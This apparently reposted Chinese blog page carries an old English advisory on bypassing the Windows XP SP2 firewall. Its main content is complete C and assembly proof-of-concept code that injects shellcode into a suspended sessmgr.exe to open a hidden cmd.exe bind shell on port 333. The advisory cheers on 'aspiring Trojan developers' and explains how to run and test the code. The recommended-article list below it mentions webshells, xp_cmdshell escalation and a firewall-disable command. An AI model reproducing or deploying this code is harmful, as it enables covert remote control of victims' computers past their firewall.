绕过xp sp2防火墙的代码

VMware虚拟机手动安装Windows XP驱动全攻略:绕过VMware Tools安装失败 虚拟机技术通过在单一物理硬件上创建隔离的软件环境,为软件测试、旧系统兼容和开发部署提供了灵活高效的解决方案。其核心原理是通过虚拟化层抽象硬件资源,允许多个操作系统实例共享底层计算、存储和网络资源。这项技术的核心价值在于能快速构建与生产环境一致的测试平台,并安全地运行老旧或特定版本软件。在软件兼容性测试、遗留系统维护和教育培训等场景中尤为关键。针对Windows XP这类经典但驱动支持有限的操作系统,在VMware等主流虚拟化平台上的部署常会遇到驱动安装难题。本文聚焦于**VMware Tools安装失败** 阅读详情
Writing Trojans that Bypass Windows XP Service Pack 2 Firewall

Summary

Windows XP Service Pack 2 incorporates many enhancements to try to better protect systems from malware and other forms of attacks. One of those layers of protection is the Windows XP SP2 Firewall. One of the features of this Firewall is the ability to allow users to decide what applications can listen on the network. By allowing users to control what applications can communicate on the network, Microsoft believes that systems will be protected against threats such as Trojans. Like so many things Microsoft says, this is inaccurate and in fact it is very easy for locally executing code to bypass the Windows Firewall. So don't worry you aspiring Trojan developers, your still going to be able to Trojan consumer and corporate systems to your hearts content.

Attached to this advisory is proof of concept code that demonstrates how a Trojan could bind to a port and accept connections by piggybacking on the inherent trust of sessmgr.exe. Simply compile this program and run it as any local user. To test if the Firewall has been bypassed (it is!) telnet from another machine to the target machine on port 333 and if your connected, then you've successfully bypassed the Windows XP Service Pack 2 Firewall.


Details
Exploit:
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#include <winsock.h>

void setfp(char *buffer,int sz,DWORD from,DWORD fp)
{
int i;
for(i=0;i<sz-5;i++)
if (buffer=='/xb8'&&*(DWORD*)(buffer+i+1)==from)
{*(DWORD*)(buffer+i+1)=fp;break;}
}

int injcode(char *buffer)
{
HMODULE ws2_32;
DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep;
char *code;
int len;
ws2_32=LoadLibrary("ws2_32");
_loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");
_createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA");
_sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep");
_wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup");
_wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA");
_bind=(DWORD)GetProcAddress(ws2_32,"bind");
_listen=(DWORD)GetProcAddress(ws2_32,"listen");
_accept=(DWORD)GetProcAddress(ws2_32,"accept");

__asm
{
call over

push '23'
push '_2sw'
push esp
mov eax,0x11111111
call eax

xor ebx,ebx
push 0x64
pop ecx
wsadata:
push ebx
loop wsadata
push esp
push 0x101
mov eax,0x33333333
call eax

push ebx
push ebx
push ebx
push ebx
push SOCK_STREAM
push AF_INET
mov eax,0x44444444
call eax
mov esi,eax

push ebx
push ebx
push ebx
push 0x4D010002 /*port 333*/
mov eax,esp
push 0x10
push eax
push esi
mov eax,0x55555555
call eax

push SOMAXCONN
push esi
mov eax,0x66666666
call eax

push ebx
push ebx
push esi
mov eax,0x77777777
call eax
mov edi,eax

push ebx
push ebx
push ebx
push ebx
mov eax,esp
push edi
push edi
push edi
push ebx
push SW_HIDE
push STARTF_USESTDHANDLES
push 0xA
pop ecx
startupinfo:
push ebx
loop startupinfo
push 0x44
mov ecx,esp
push 'dmc'
mov edx, esp

push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
mov eax,0x22222222
call eax

push INFINITE
mov eax,0x88888888
call eax

over:
pop eax
mov code,eax
}

len=0xA0;
memcpy(buffer,code,len);
setfp(buffer,len,0x11111111,_loadlibrarya);
setfp(buffer,len,0x22222222,_createprocessa);
setfp(buffer,len,0x33333333,_wsastartup);
setfp(buffer,len,0x44444444,_wsasocketa);
setfp(buffer,len,0x55555555,_bind);
setfp(buffer,len,0x66666666,_listen);
setfp(buffer,len,0x77777777,_accept);
setfp(buffer,len,0x88888888,_sleep);

return len;
}

void main(void)
{
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
CONTEXT context;
LDT_ENTRY sel;
DWORD read,tib,peb,exebase,peoffs,ep;
IMAGE_NT_HEADERS pehdr;
int len;
char sessmgr[MAX_PATH+13];
char buffer[2048];

GetSystemDirectory(sessmgr,MAX_PATH);
sessmgr[MAX_PATH]=0;
strcat(sessmgr,"//sessmgr.exe");
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);

if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo))
printf("createprocess failed"), exit(1);

context.ContextFlags=CONTEXT_FULL;
GetThreadContext(pinfo.hThread,&context);
GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel);
tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);

ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read);
ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint;

len=injcode(buffer);
VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read);
WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read);

ResumeThread(pinfo.hThread);
}
  
敏感信息泄露+文件上传(新思路)+xp_cmdshell提权【某考试综合题-真题】 去年9月份自己参加考试后,遇到的真题,对于我这个小白来说还难的,后来我通过某途径拿到了资料,自己搭建了靶场,无论对于准备考试的还是初学者,都会有帮助,大佬请绕行。目前题目仅给了一个内网IP,除了IP没有任何信息,因此我们需要从信息收集开始。(此题要拿到3个FLAG)拿到一个IP后—->端口扫描(是否风险端口)—->目录扫描(是否有敏感信息)—->登录页面(弱密码+万能密码)——>文件上传(过长截断+报错找到上传路径)——>xp_cmd提权——>开启3389、关闭防火墙、获取管理员密码或更改密码。 阅读详情

相关推荐

Windows XP在2026年的生存指南:虚拟机部署、安全加固与兼容性实战

如果你在2026年元旦,打开一台运行着Windows XP Home Edition的电脑,会看到什么?是经典的蓝天白云壁纸,还是那个熟悉的绿色开始按钮?更重要的是,在今天这个时代,运行一个官方支持早已结束、主流软件纷纷抛弃的操作系统,究竟是一种怎样的体验? 这不仅仅是怀旧。Windows XP,这个发布于2001年的操作系统,在2026年依然拥有着令人惊讶的“生命力”。根据StatCounter的数据,截至2025年7月,在亚美尼亚等地区,仍有超过70%的Windows PC运行着XP。全球范围内,虽然主

weixin_34290631的博客 448

[转贴]绕过xp sp2防火墙的代码

绕过xp sp2防火墙的代码   Summary Windows XP Service Pack 2 incorporates many enhancements to try to better protect systems from malware and other forms of attacks. One of those layers of protection is the W

xfreeboy的专栏 2024

86Box 6.0 完美运行 Windows XP SP3:精准硬件模拟解决老旧软件兼容性难题

还在为运行老旧的 Windows XP 程序而烦恼吗?是手头有只能在 XP 环境下运行的工业控制软件、财务系统,还是想重温一下二十年前的经典游戏?在 Windows 11 等现代系统上直接运行这些程序,往往会遇到兼容性错误、驱动缺失甚至根本无法启动的窘境。你可能会想到用 VMware、VirtualBox 这类主流虚拟机,但很快就会发现,它们对 XP 的支持也日渐“力不从心”——VMware Tools 不再为旧系统提供,显卡加速效果不佳,甚至安装过程都可能报错。 这时,一个名为 86Box 的开源项目进入

weixin_34090562的博客 663

突破防火墙

来源:黑客防线作者:dangguai27 如何在溢出后得到安全的、隐蔽的Shell是大家一直都在讨论的问题,因为现在的防火墙和各种安全软件漫天飞,想不被它们发现还真是很难,幸好有很多牛人们用自己的实力探索出了一条这样的道路,让我们这些人能顺着前辈的步伐一点点进步。本文给出了两种目前比较先进的端口复用技术,用在溢出后的端口绑定和Shell的获取,目前防火墙和各种安全工具对这样的技术还是陌生的,可以...

weixin_30770783的博客 886

绕过杀软防护实战 | 通过数据库写入WebShell

目录: 0x1 开篇0x2 初遇难题0x3 峰回路转 OLE自动化存储过程写入WebShell xp_dirtree0x4 势如破竹0x5 复盘思考  权限差异记录一次比较有思考意义的国外渗透过程,通过外围打点渗透,成功获取到目标数据库的账号和密码,连接数据库后上传 WebShell 实现控制,但在尝试上传后门木马文件时,发现目标系统中运行着杀软,使用 tasklist /SVC 确认杀软进程的存在,导致一旦上传恶意文件,系统会立即触发杀软扫描并进行拦截,上传木马的尝试失败。这里外围打点,如何拿到数据库账号

2401_89294392的博客 927

Windows XP虚拟机安全体验指南:从怀旧到实战部署

Windows XP Home Edition 元旦重制版体验:情怀与风险并存的复古之旅 当“Windows XP”这个名词再次出现在技术社区的热搜榜上,它早已超越了单纯的操作系统范畴,成为一种文化符号和集体记忆。2026年的今天,我们谈论Windows XP,不再仅仅是讨论一个发布于2001年的操作系统,而是在探讨一个技术时代的遗产、一种怀旧情怀的载体,以及一个在数字安全领域持续存在的现实挑战。 最近,网络上出现了“Windows XP Home Edition元旦重制版”的相关讨论,同时伴随着“番茄花园

clt3617的博客 693

ShellCode编写实例—突破防火墙的ShellCode

2008年03月30日 星期日 01:44适合读者:漏洞研究员、入侵爱好者 前置知识:C、汇编阅读能力,调试工具使用能力 WTF:最近网络上 开始流传各种各样的ShellCode,很多朋友都开始关注ShellCode的编写和相关技术的实现方法。黑防不断推出的“菜鸟版Exploit编写指 南”系列文章受到很多热爱系统漏洞的朋友们的喜爱,但大家在了解基本的漏洞调试、利用方法后,开始关注更

InkSnail的专栏 1156

探索Windows XP SP3:个性化与安全性之间的权衡

主题破解是指绕过操作系统原生的限制,以实现用户自定义界面风格和视觉效果的过程。在Windows XP中,微软对系统的主题应用进行了限制,防止用户随意更改系统界面,主要是出于安全性和稳定性的考虑。然而,随着用户对个性化需求的提升,许多用户开始寻求破解这些限制,以达到个性化操作系统的视觉效果。主题破解的目的主要是为了满足用户对美观性的追求,通过替换系统内的文件来实现视觉效果的个性化定制。这种方式可以让用户感受到与默认主题截然不同的风格,从而提升使用体验。

weixin_42593549的博客 1089

使用cmd命令关闭防火墙

命令如下: 关闭防火墙:netsh firewall set opmode mode=disable 防火墙恢复默认配置:netsh firewall reset 查看防火墙状态: Netsh Advfirewall show allprofiles

IChen.的博客 6475

防火墙代码

防火墙代码 病毒防护 进程监控 c++ 很适合学习

视频编解码——视频编解码器工作原理

目录什么是视频编解码器为什么需要视屏编解码器视频编码器与数字视频容器时评编码器的历史 什么是视频编解码器 简单来说就是用于压缩或解压数字视频的软件或硬件 编码是信息从一种形式或格式转换为另一种形式的过程,解码是编码的反向。 适用于视频 编码是将视频、音频的原始格式的文件通过压缩技术转换成另一种格式(视频如h.264,h.265,m-jpeg等)。 解码是编码的反向过程。应用中,一般是将h.264,h.265格式数据解码成如YUV格式裸流交给显示器显示。 为什么需要视屏编解码器 需要在有限的带宽或存储空间

路人coder 1万+

绕过XP SP2防火墙的代码

Exploit:#include #include #include #include #include void setfp(char *buffer,int sz,DWORD from,DWORD fp){int i;for(i=0;iif (buffer[i]==/xb8&&*(DWORD*)(buffer+i+1)==from){*(DWORD*)(buffer+i+1)=fp;bre

老裴 1274

MATLAB新手必看:5分钟搞定直流无刷电机Simulink仿真(附完整模型下载)

本文为MATLAB新手提供直流无刷电机Simulink仿真的快速入门指南,涵盖从环境配置到速度控制闭环实现的完整流程。通过详细的模块选择和参数设置说明,帮助读者5分钟内搭建基础仿真模型,并附赠完整模型下载,助力快速掌握电机控制仿真技术。

efc123456的博客 985

anti Windows XP SP2 firewall trick

1.9.2005Mark Kica crusoe (at) alexandria (dot) cc [email concealed]FEI AI Technical University Kosice #Dedicated to Katka H. from LevocaHow to avoid of detection of server application on Windows XP SP

QHK-EST-BLOG 830

pikachu靶场: 暴力破解第四关(token防爆破)

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个 Token 同时将此 Token 返回给客户端。此外,Token 是有时效的,一段时间之后或下一次请求时用户需要重新验证。

X_shiguang的博客 1720

统信UOS系统网络服务异常排查:WIFI图标消失与网络设置缺失的解决方案

本文详细解析了统信UOS系统WIFI图标消失与网络设置缺失的常见问题,提供了从基础修复到进阶排查的完整解决方案。重点分析了NetworkManager服务异常的根本原因,包括系统更新中断、权限配置错误等,并给出实用的命令行操作指南和预防措施,帮助用户快速恢复网络功能。

weixin_29234239的博客 622

XP SP2 发现两处安全漏洞

晕死,sp2出问题了。正在焦急Microsoft发布正式版本的sp2,所以随处看看,没有想到。。。。哎!没曾想看到了这样的消息!上周,德国的Heise安全公司宣布,他们已经发现Windows XP SP2服务包中存在的两个漏洞,这两个漏洞可以被电脑入侵者用来运行可执行文件。 第一个漏洞:一般说来,微软的IE浏览器将文件分为几个安全级别,称为ZONE ID,凡是从网上来的文件都被定为3级,IE不

孤剑之家 1917

bugku渗透测试4-writeup

三、对这个主机进行全端口的扫描,发现存在22000 ssh端口,那么可以联想到时redis写入公钥来连接主机。又来了一个新的靶场,这个靶场打下来我觉得关键就是信息收集,走了很多的弯路。八、最后一个flag是要去看cms的数据库里面,这个数据库是sqlite。把这个数据库下载下来,登录密码是加密的,就直接用token。一、入口的漏洞是在登录的时候去抓包,修改action的值。六、没想到这个第一台机器的密码,在第二台里面。七、扫描第一台主机、使用之前的密码连接成功。获取最后一台主机的root密码。

vsdfbhsdhsdfh的博客 1304

XP SP2对raw socket所做的改动

http://www.opencjk.org/~scz/windows/200609051043.txtQ:在XP SP2上raw socket发包,得到10004号错误:A blocking operation was interrupted by a call to WSACancelBlockingCall.A: microsoftXP SP2仍支持raw socket的接收,但raw so

1766

情感分析在金融领域的应用:舆情影响股价预测

我们都知道,股价的波动受到多种因素的影响,而大众的情绪和看法就是其中很重要的一部分。我们在日常生活中都有根据别人的评价来判断事物好坏的经验,在金融市场里,舆情就像是大众对某家公司的集体评价,它能反映出市场参与者的情绪和预期。学习这方面的知识,能帮助投资者更好地把握市场动态,做出更明智的投资决策,无论是个人投资者还是金融机构的分析师,都能从中受益。有一天,你看到某家知名企业被曝光了严重的产品质量问题,新闻铺天盖地,股民们也都在热议纷纷,负面情绪弥漫。这时,你会不会觉得这家公司的股价可能要下跌了呢?

AI 原生应用开发的博客 1148

雷达工程师面试题目

详细描述项目背景、目标、你的具体职责和贡献,分析在项目实施过程中遇到的主要技术难题及解决方案,总结项目取得的成果和经验教训。

道亦无名 741

Windows XP中如何自动终止Blackice防火墙(转)

目前使用Blackice防火墙的朋友很多,它坚固无比,好用耐用,实在是居家防护、安身立命必备之防火墙!在使用Blackice防火墙过程中有一个有趣的小发现,在这里与大家分享谈讨。  这个有趣的小发现就是:只要我们把系统时间调整为...

cuankuangzhong6373的博客 261

什么是 SAP PCE?

SAP Private Cloud Edition 是一种基于云计算的部署模式,它结合了公有云的灵活性和私有云的安全性,为企业提供了量身定制的云服务。在 PCE 环境中,SAP 托管和维护客户的应用系统(如 SAP S/4HANA、SAP SuccessFactors 或 SAP BW/4HANA),同时客户拥有更高的定制化权限。专属环境:每个客户在云中拥有独立的资源,这保障了更高的安全性和性能。全面托管:SAP 提供基础架构、系统管理和更新服务,降低了客户的运维成本。灵活扩展。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 2250

补丁上打补丁 微软公布WindowsXP SP2的补丁

  12月17日消息:微软16日发布了Windows XP Service Pack 2的重要安全修补程序。这项设定变更,关闭了Windows防火墙的一个漏洞。Windows产品经理Gary Schare表示,该漏洞可能导致与区...

ciren660440648的博客 494

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

绕过杀软的渗透测试:通过数据库写入WebShell绕过杀软防护的实战经验

0x1 开篇0x2 初遇难题0x3 峰回路转OLE自动化存储过程写入WebShellxp_dirtree0x4 势如破竹0x5 复盘思考。

zgz67611的博客 203

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

上一篇: 从内存运行exe
下一篇: XTrap驱动分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值